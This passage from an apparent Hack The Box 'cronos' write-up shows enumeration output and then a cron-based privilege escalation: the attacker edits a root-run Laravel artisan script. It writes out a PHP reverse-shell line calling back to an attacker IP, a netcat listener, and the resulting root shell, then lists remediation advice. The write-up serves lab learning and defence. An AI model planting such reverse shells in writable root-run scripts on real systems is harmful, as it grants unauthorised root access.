[!] ret510 Can we write in any system timer?............................... nope
[i] ret900 Systemd timers.................................................. skip
================================================================( network )=====
[*] net000 Services listening only on localhost............................ yes!
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
[i] net500 NIC and IP information.......................................... skip
[i] net510 Routing table................................................... skip
[i] net520 ARP table....................................................... skip
[i] net530 Namerservers.................................................... skip
[i] net540 Systemd Nameservers............................................. skip
[i] net550 Listening TCP................................................... skip
[i] net560 Listening UDP................................................... skip
===============================================================( services )=====
[!] srv000 Can we write in service files?.................................. nope
[!] srv010 Can we write in binaries executed by services?.................. nope
[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope
[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope
[*] srv040 Upstart files not belonging to root............................. nope
[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope
[i] srv400 Contents of /etc/inetd.conf..................................... skip
[i] srv410 Contents of /etc/xinetd.conf.................................... skip
[i] srv420 List /etc/xinetd.d if used...................................... skip
[i] srv430 List /etc/init.d/ permissions................................... skip
[i] srv440 List /etc/rc.d/init.d permissions............................... skip
[i] srv450 List /usr/local/etc/rc.d permissions............................ skip
[i] srv460 List /etc/init/ permissions..................................... skip
[!] srv500 Can we write in systemd service files?.......................... nope
[!] srv510 Can we write in binaries executed by systemd services?.......... nope
[*] srv520 Systemd files not belonging to root............................. nope
[i] srv900 Systemd config files permissions................................ skip
==============================================================( processes )=====
[!] pro000 Can we write in any process binary?............................. nope
[*] pro010 Processes running with root permissions......................... yes!
[i] pro500 Running processes............................................... skip
[i] pro510 Running process binaries and permissions........................ skip
===============================================================( software )=====
[!] sof000 Can we connect to MySQL with root/root credentials?............. nope
[!] sof010 Can we connect to MySQL as root without password?............... nope
[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope
[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope
[*] sof030 Installed apache modules........................................ yes!
[!] sof040 Found any .htpasswd files?...................................... nope
[i] sof500 Sudo version.................................................... skip
[i] sof510 MySQL version................................................... skip
[i] sof520 Postgres version................................................ skip
[i] sof530 Apache version.................................................. skip
=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... nope
[*] ctn010 Is docker available?............................................ nope
[!] ctn020 Is the user a member of the 'docker' group?..................... nope
[*] ctn200 Are we in a lxc container?...................................... nope
[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope
==================================( FINISHED )==================================
utilising cron for privilege escalation
There are probably a few avenues here, but the thing that sticks out to me the most is that there is a writable cron job that is running as root:
[!] ret060 Can we write to executable paths present in cron jobs........... yes!
---
/etc/crontab:* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
---
Since this script is being run as the www-data user we are logged into, we should be able to write to /var/www/laravel/artisan
to spawn a root shell.
Let’s go ahead and start another local listener with nc -lvnp 1234
Now let’s check out /var/www/laravel/artisan
:
$ ll /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 /var/www/laravel/artisan
Sicne this is owned by the www-data user, the user we’re logged in as, we can edit this file. Furthermore, it looks like the job is getting run every minute by root, so we shouldn’t have to wait much for a shell to spawn.
We know from the cron job, it’s likely a php script; let’s confirm and have a look:
$ cat /var/www/laravel/artisan
#!/usr/bin/env php
<?php
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/
require __DIR__.'/bootstrap/autoload.php';
$app = require_once __DIR__.'/bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$status = $kernel->handle(
$input = new Symfony\Component\Console\Input\ArgvInput,
new Symfony\Component\Console\Output\ConsoleOutput
);
/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/
$kernel->terminate($input, $status);
exit($status);
Going back to the PentestMonkey shell cheat sheet, we see that we can make a php reverse shell like so:
</code>php -r ‘$sock=fsockopen(“
So let’s add this to the artisan file, before the PHP comment section, like so:
#!/usr/bin/env php
<?php
$sock=fsockopen("<VPN IP>",1234);exec("/bin/sh -i <&3 >&3 2>&3");
And after a moment, in our listener, we get a root shell!
root@kali:/writeups/HTB/cronos/enumeration# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.13] 44968
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/root
#
Great, from here we can grab the root flag and call it a day:
# ls -ltr
total 4
-r-------- 1 root root 33 Mar 22 2017 root.txt
#
Conclusion
Remediation Recommendations
-
Protections against DNS Zone Transfers should be implemented. Some great info can be found here
-
Better input validation/input sanitization is needed on the admin login page. A WAF could potentially help reduce this risk.
-
Better input validation is also needed for the net tool application - characters such as && and ; should be filtered out to avoid running unintended commands. Or you could simply restrict input to numbers and periods.
-
The php cron job vulnerabiltiy needs to be addressed. This could likely be done one of two ways:
-
Permissions on the file the cron job is executing need to be locked down, if possible (such as chmod 500 after initial setup)
-
The cron job should not run as root, if possible, and run as a less privileged user.
-
That’s all for this one.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!